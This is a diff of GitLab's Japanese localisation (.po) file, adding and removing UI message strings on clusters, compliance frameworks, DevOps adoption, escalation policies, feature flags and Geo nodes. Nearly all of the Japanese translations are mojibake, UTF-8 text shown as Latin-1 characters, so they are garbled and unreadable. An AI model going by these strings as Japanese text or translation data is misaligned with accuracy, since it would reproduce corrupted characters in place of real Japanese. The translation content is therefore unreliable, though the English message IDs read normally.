@@ -7720,27 +7525,12 @@ msgstr "クラスター統åˆã¨ã€ã“ã®ã‚¯ãƒ©ã‚¹ã‚¿ãƒ¼ã«é–¢é€£ä»˜ã‘られã¦
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr "クラスターインテグレーションを削除ã—よã†ã¨ã—ã¦ã„ã¾ã™ã€‚"
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr "クラスターã‹ã‚‰ %{appTitle} をアンインストールã—よã†ã¨ã—ã¦ã„ã¾ã™ã€‚"
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr "Knative をインストールã™ã‚‹ã«ã¯ã€RBAC 対応ã®ã‚¯ãƒ©ã‚¹ã‚¿ãƒ¼ãŒå¿…è¦ã§ã™ã€‚"
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr "å°‘ãªãã¨ã‚‚2ã¤ã®ã‚µãƒ–ãƒãƒƒãƒˆã‚’é¸æŠžã—ã¦ãã ã•ã„。"
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr "アカウント㫠%{link_to_kubernetes_engine} ãŒå¿…è¦ã§ã™ã€‚"
@@ -7756,12 +7546,6 @@ msgstr "ゾーン"
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr "Google Kubernetes Engineã«ã‚¢ã‚¯ã‚»ã‚¹"
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr "をカスタムドメインã®ä»£ã‚ã‚Šã«ä½¿ç”¨ã§ãã¾ã™ã€‚ "
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr "å¿…è¦æ¡ä»¶"
@@ -7834,6 +7618,9 @@ msgstr "コードオーナーã®æ‰¿èªãŒå¿…è¦ã§ã™"
msgid "Code owners"
msgstr "コードオーナー"
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -7849,9 +7636,15 @@ msgstr "パターン"
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8147,9 +7940,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8186,9 +7976,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8207,42 +7994,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr "GDPR"
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr "GDPR - 一般データä¿è­·è¦å‰‡"
-
-msgid "ComplianceFramework|HIPAA"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8261,6 +8015,9 @@ msgstr "設定"
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr "GitLab Runner を設定ã—ã¦Web端末を使ã„始ã‚ã¾ã™ã€‚ 詳細ã¯%{helpStart} ã“ã¡ã‚‰%{helpEnd}ã‚’å‚照。"
@@ -8509,6 +8266,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -8861,8 +8621,8 @@ msgstr "貢献者"
msgid "Control emails linked to your account"
msgstr "アカウントã«ç´ã¥ãメールã®ç®¡ç†"
-msgid "Control the display of third party offers."
-msgstr "サードパーティã®ã‚ªãƒ•ã‚¡ãƒ¼ã®è¡¨ç¤ºã‚’管ç†ã—ã¾ã™ã€‚"
+msgid "Control whether to display third-party offers in GitLab."
+msgstr ""
msgid "Cookie domain"
msgstr "クッキーã®ãƒ‰ãƒ¡ã‚¤ãƒ³"
@@ -8900,6 +8660,9 @@ msgstr "クリップボードã«å¤–部 ID をコピー"
msgid "Copy ID"
msgstr "IDをコピー"
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr "KRB5用クローンURLをコピー"
@@ -8966,6 +8729,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9206,9 +8972,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr "ブランãƒä½œæˆ"
@@ -9335,9 +9098,6 @@ msgstr "最åˆã®ãƒšãƒ¼ã‚¸ã‚’作æˆã™ã‚‹"
msgid "Create your group"
msgstr "グループを作æˆ"
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -9569,6 +9329,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr "SSH éµ"
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr "é‡å¤§ãªè„†å¼±æ€§ã®å­˜åœ¨"
@@ -9578,9 +9344,6 @@ msgstr "Cron ã®ã‚¿ã‚¤ãƒ ã‚¾ãƒ¼ãƒ³"
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr "Crossplane"
-
msgid "Crowd"
msgstr ""
@@ -9596,9 +9359,6 @@ msgstr "ç¾åœ¨ã®ãƒ—ロジェクト"
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr "ç¾åœ¨ã®ãƒŽãƒ¼ãƒ‰"
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -9674,6 +9434,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr "カスタムカラー"
@@ -9889,9 +9652,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr "DNS"
@@ -9958,6 +9718,18 @@ msgstr "%{firstProject}, %{rest}, 㨠%{secondProject}"
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10316,9 +10088,6 @@ msgstr "日付é¸æŠž"
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr "日付範囲㯠%{maxDateRange} 日を超ãˆã‚‰ã‚Œã¾ã›ã‚“。"
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10343,6 +10112,9 @@ msgstr "æ—¥"
msgid "Days to merge"
msgstr "マージã¾ã§ã®æ—¥æ•°"
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10376,8 +10148,8 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
-msgstr "デフォルトã®CI設定パス"
+msgid "Default CI/CD configuration file"
+msgstr ""
msgid "Default Timeout Period"
msgstr ""
@@ -10496,6 +10268,9 @@ msgstr "コメントを削除"
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11160,12 +10935,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11223,7 +11016,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11235,21 +11028,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11283,6 +11079,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11304,6 +11103,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11322,15 +11124,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
-msgstr "差分コンテンツã®åˆ¶é™"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
+msgstr ""
msgid "Diff limits"
msgstr "差分ã®åˆ¶é™"
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr "開始日ã¨ç¾åœ¨ã®é•ã„"
@@ -11515,8 +11314,8 @@ msgstr ""
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
-msgstr "GitLab 内ã®ã‚µãƒ¼ãƒ‰ãƒ‘ーティã‹ã‚‰ã®ã‚ªãƒ•ã‚¡ãƒ¼ã‚’表示ã—ãªã„"
+msgid "Do not display offers from third parties"
+msgstr ""
msgid "Do you want to remove this deploy key?"
msgstr ""
@@ -11566,7 +11365,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr "-----BEGIN PGP PUBLIC KEY BLOCK----- ã§å§‹ã¾ã‚‹å…¬é–‹éƒ¨åˆ†ã‚’貼り付ã‘ã¦ãã ã•ã„。 GPG キーã®ç§˜å¯†éƒ¨åˆ†ã‚’貼り付ã‘ãªã„ã§ä¸‹ã•ã„。"
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -11575,6 +11374,9 @@ msgstr "次回ã‹ã‚‰è¡¨ç¤ºã—ãªã„"
msgid "Done"
msgstr "完了"
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr "ダウンロード"
@@ -11791,9 +11593,6 @@ msgstr "イシューを編集"
msgid "Edit iteration"
msgstr "イテレーションã®ç·¨é›†"
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr "公開デプロイキーã®ç·¨é›†"
@@ -11827,9 +11626,6 @@ msgstr ""
msgid "Editing"
msgstr "編集中"
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -11890,6 +11686,9 @@ msgstr "メールをé€ä¿¡ã§ãã¾ã›ã‚“ã§ã—ãŸ"
msgid "Email display name"
msgstr "メールã®è¡¨ç¤ºå"
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr "メールãŒç¢ºèªã§ãã¦ã„ã¾ã›ã‚“。 Salesforce ã§ãƒ¡ãƒ¼ãƒ«ã‚’確èªã—ã¦ãã ã•ã„。"
@@ -12019,6 +11818,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr "PlantUML を有効化"
@@ -12028,14 +11830,17 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr "匿å化データã®åŽé›†ã‚’有効ã«ã—ã¾ã™"
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
-msgstr "シートリンクを有効ã«ã™ã‚‹"
+msgid "Enable Snowplow tracking"
+msgstr ""
msgid "Enable Spam Check via external API endpoint"
msgstr ""
@@ -12115,14 +11920,11 @@ msgstr "メンテナンスモードを有効ã«ã™ã‚‹"
msgid "Enable mirror configuration"
msgstr "ミラー構æˆã‚’有効化"
-msgid "Enable or disable Seat Link."
-msgstr "シートリンクを有効ã¾ãŸã¯ç„¡åŠ¹ã«ã—ã¾ã™ã€‚"
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr "匿å化データコレクション機能ã®æœ‰åŠ¹åŒ–ã¾ãŸã¯ç„¡åŠ¹åŒ–"
-msgid "Enable or disable version check and usage ping."
-msgstr "ãƒãƒ¼ã‚¸ãƒ§ãƒ³ãƒã‚§ãƒƒã‚¯ã¨åˆ©ç”¨çŠ¶æ³ã®é€ä¿¡ã‚’有効ã«ã™ã‚‹ã€‚"
+msgid "Enable or disable version check and service ping."
+msgstr ""
msgid "Enable protected paths rate limit"
msgstr "ä¿è­·ã•ã‚ŒãŸãƒ‘スã®ãƒ¬ãƒ¼ãƒˆåˆ¶é™ã‚’有効ã«ã™ã‚‹"
@@ -12139,6 +11941,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12154,9 +11959,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr "スノープロウトラッキングを有効ã«ã™ã‚‹"
-
msgid "Enable two-factor authentication"
msgstr "2è¦ç´ èªè¨¼ã‚’有効ã«ã™ã‚‹"
@@ -12166,9 +11968,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr "利用状æ³ã®é€ä¿¡ã‚’有効ã«ã™ã‚‹"
-
msgid "Enable version check"
msgstr ""
@@ -12298,6 +12097,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr "承èªã™ã‚‹ã«ã¯ãƒ‘スワードを入力ã—ã¦ãã ã•ã„"
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr "環境"
@@ -12463,9 +12265,6 @@ msgstr "環境ã®åœæ­¢ã«ã¤ã„ã¦"
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -12946,7 +12745,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -12955,30 +12754,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -12988,6 +12811,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13024,9 +12856,6 @@ msgstr ""
msgid "Events"
msgstr "イベント"
-msgid "Events in %{project_path}"
-msgstr ""
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr "ã™ã¹ã¦ã® %{action} ãŒå¤±æ•—ã—ã¾ã—ãŸï¼š %{job_error_message}。もã†ä¸€åº¦ã‚„ã‚Šç›´ã—ã¦ãã ã•ã„。"
@@ -13169,7 +12998,7 @@ msgstr ""
msgid "Experienced"
msgstr ""
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13190,9 +13019,6 @@ msgstr ""
msgid "Expires"
msgstr "有効期é™"
-msgid "Expires at"
-msgstr "有効期é™æ—¥"
-
msgid "Expires at (optional)"
msgstr ""
@@ -13289,9 +13115,6 @@ msgstr "外部ストレージã®URL"
msgid "External storage authentication token"
msgstr "外部ストレージã®èªè¨¼ãƒˆãƒ¼ã‚¯ãƒ³"
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr "分類ラベル"
@@ -13310,9 +13133,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr "Facebook"
@@ -13598,9 +13418,6 @@ msgstr ""
msgid "Feature Flags"
msgstr "機能フラグ"
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -13629,9 +13446,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr "* (ã™ã¹ã¦ã®ç’°å¢ƒ)"
-msgid "FeatureFlags|* (All environments)"
-msgstr "* (ã™ã¹ã¦ã®ç’°å¢ƒ)"
-
msgid "FeatureFlags|API URL"
msgstr "API URL"
@@ -13680,9 +13494,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr "環境スペック"
-
msgid "FeatureFlags|Environment Specs"
msgstr "環境スペック"
@@ -13713,9 +13524,6 @@ msgstr "機能フラグを有効ã«ã™ã‚‹ã¨ã€ç‰¹å®šã®æ©Ÿèƒ½ã¸ã®å‹•çš„切り
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr "機能フラグを使ã„ã¯ã˜ã‚ã‚‹"
@@ -13731,9 +13539,6 @@ msgstr "無効"
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr "%{scope} ã®éžã‚¢ã‚¯ãƒ†ã‚£ãƒ–フラグ"
-msgid "FeatureFlags|Include additional user IDs"
-msgstr "追加ã®ãƒ¦ãƒ¼ã‚¶ãƒ¼IDã‚’å«ã‚ã‚‹"
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -13773,24 +13578,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr "ロールアウト率(対ログインユーザー)"
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr "ä¿è­·ã•ã‚Œã¦ã„ã¾ã™"
-
msgid "FeatureFlags|Remove"
msgstr "削除"
-msgid "FeatureFlags|Rollout Percentage"
-msgstr "ロールアウトパーセント"
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr "ロールアウト戦略"
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -13800,9 +13593,6 @@ msgstr "ステータス"
msgid "FeatureFlags|Strategies"
msgstr "戦略"
-msgid "FeatureFlags|Target environments"
-msgstr "ターゲット環境"
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr "機能フラグã®å–得中ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
@@ -13885,9 +13675,6 @@ msgstr "ファイルブラウザー"
msgid "File deleted"
msgstr "ファイルを削除ã—ã¾ã—ãŸ"
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr "ファイルフックã¯ã‚·ã‚¹ãƒ†ãƒ ãƒ•ãƒƒã‚¯ã¨ä¼¼ã¦ã„ã¾ã™ã€‚ã—ã‹ã—ファイルフックã¯ã€URLã«ãƒ‡ãƒ¼ã‚¿ã‚’é€ä¿¡ã™ã‚‹ã®ã§ã¯ãªãファイルã¨ã—ã¦å®Ÿè¡Œã—ã¾ã™ã€‚"
@@ -13903,6 +13690,9 @@ msgstr "ファイルå"
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -13969,9 +13759,6 @@ msgstr "マイルストーンåã§çµžã‚Šè¾¼ã‚€"
msgid "Filter by name"
msgstr ""
-msgid "Filter by status"
-msgstr ""
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14140,6 +13927,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14161,10 +13951,7 @@ msgstr ""
msgid "For more information, see the File Hooks documentation."
msgstr "詳ã—ã„情報ã¯ã€ãƒ•ã‚¡ã‚¤ãƒ«ãƒ•ãƒƒã‚¯ã®æ–‡æ›¸ã‚’ã”覧ãã ã•ã„"
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr "詳細ã«ã¤ã„ã¦ã¯ %{deactivating_usage_ping_link_start}利用状æ³ã®é€ä¿¡ã®ç„¡åŠ¹åŒ–%{deactivating_usage_ping_link_end} ã«ã¤ã„ã¦ã®ãƒ‰ã‚­ãƒ¥ãƒ¡ãƒ³ãƒˆã‚’å‚ç…§ã—ã¦ãã ã•ã„。"
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14368,159 +14155,21 @@ msgstr "Geo"
msgid "Geo Nodes"
msgstr "Geo ノード"
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr "Geo設定"
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr "%{timeAgoStr}(%{pendingEvents} イベント)"
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr "ノードãŒæ•…éšœã—ã¦ã„ã‚‹ã‹å£Šã‚Œã¦ã„ã¾ã™ã€‚"
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr "ノードãŒé…延ã€éŽè² è·ãŒã‹ã‹ã£ã¦ã„ã‚‹ã€ã¾ãŸã¯åœæ­¢ã‹ã‚‰ã®å›žå¾©ç›´å¾Œã§ã™ã€‚"
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr "データ レプリケーションã®é…延"
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr "プライマリストレージ構æˆã¨ä¸€è‡´ã—ã¾ã›ã‚“"
-
-msgid "GeoNodes|Full"
-msgstr "全体"
-
-msgid "GeoNodes|GitLab version"
-msgstr "GitLab ãƒãƒ¼ã‚¸ãƒ§ãƒ³"
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr "GitLab ã®ãƒãƒ¼ã‚¸ãƒ§ãƒ³ãŒå„ªå…ˆãƒŽãƒ¼ãƒ‰ã®ãƒãƒ¼ã‚¸ãƒ§ãƒ³ã¨ä¸€è‡´ã—ã¾ã›ã‚“"
-
-msgid "GeoNodes|Health status"
-msgstr "稼動状æ³"
-
-msgid "GeoNodes|Internal URL"
-msgstr "内部 URL"
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr "カーソルã§å‡¦ç†ã•ã‚ŒãŸæœ€çµ‚イベント ID"
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr "プライマリãŒå–å¾—ã—ãŸæœ€çµ‚イベント ID"
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr "ジオノードステータスã®è©³ç´°"
-
-msgid "GeoNodes|Loading nodes"
-msgstr "ノードã®èª­ã¿è¾¼ã¿ä¸­"
-
-msgid "GeoNodes|New node"
-msgstr "æ–°è¦ãƒŽãƒ¼ãƒ‰"
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr "èªè¨¼ãƒŽãƒ¼ãƒ‰ã®ä¿®å¾©ã«æˆåŠŸã—ã¾ã—ãŸã€‚"
-
-msgid "GeoNodes|Node URL"
-msgstr "ノードURL"
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr "ノードã®å‰Šé™¤ã«æˆåŠŸã—ã¾ã—ãŸã€‚"
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr ""
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
